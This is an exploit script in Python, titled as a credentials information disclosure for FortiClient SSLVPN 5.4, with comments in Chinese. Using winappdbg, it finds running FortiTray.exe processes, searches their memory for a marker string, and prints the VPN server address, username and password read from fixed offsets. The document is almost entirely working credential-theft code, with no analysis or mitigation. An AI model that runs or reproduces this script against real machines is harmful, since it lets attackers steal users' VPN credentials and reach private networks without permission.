Forticlient ™ end-SSLVPN 5.4 - credentials information disclosure

                                                from winappdbg import Debug, Process, HexDump
import sys
 
filename = "FortiTray.exe"                          # 程序名
search_string = "fortissl"                              # 当用户凭证存储在进程内存中，模仿偏移
 
# 查询用户凭证函数
def memory_search( pid, strings ):
                process = Process( pid )
                mem_dump = []
                                                                ######
                                                                #使用process.search_regexp用于正则表达式，使用process.search_text用于Unicode字符串，使用process.search_hexa用于十六进制
                                                                ######
                for address in process.search_bytes( strings ):
                                dump = process.read(address-10,800)                             #从进程内存中下载810 bytes
                                mem_dump.append(dump)
                                for i in mem_dump:
                                                if "FortiClient SSLVPN offline" in i:                       #打印所有找到的结果.
                                                                print "\n"
                                                                print " [+] Address and port to connect: " + str(i[136:180])
                                                                print " [+] UserName: " + str(i[677:685])
                                                                print " [+] Password: " + str(i[705:715])
                                                                print "\n"
 
debug = Debug()
try:
                # 查找当前运行的进程。
                debug.system.scan_processes()
                # 在挡圈运行的进程中匹配请求文件名FortiTray.exe
                for ( process, name ) in debug.system.find_processes_by_filename( filename ):
                                pid = process.get_pid()
                                memory_search(pid,search_string)
finally:
                debug.stop()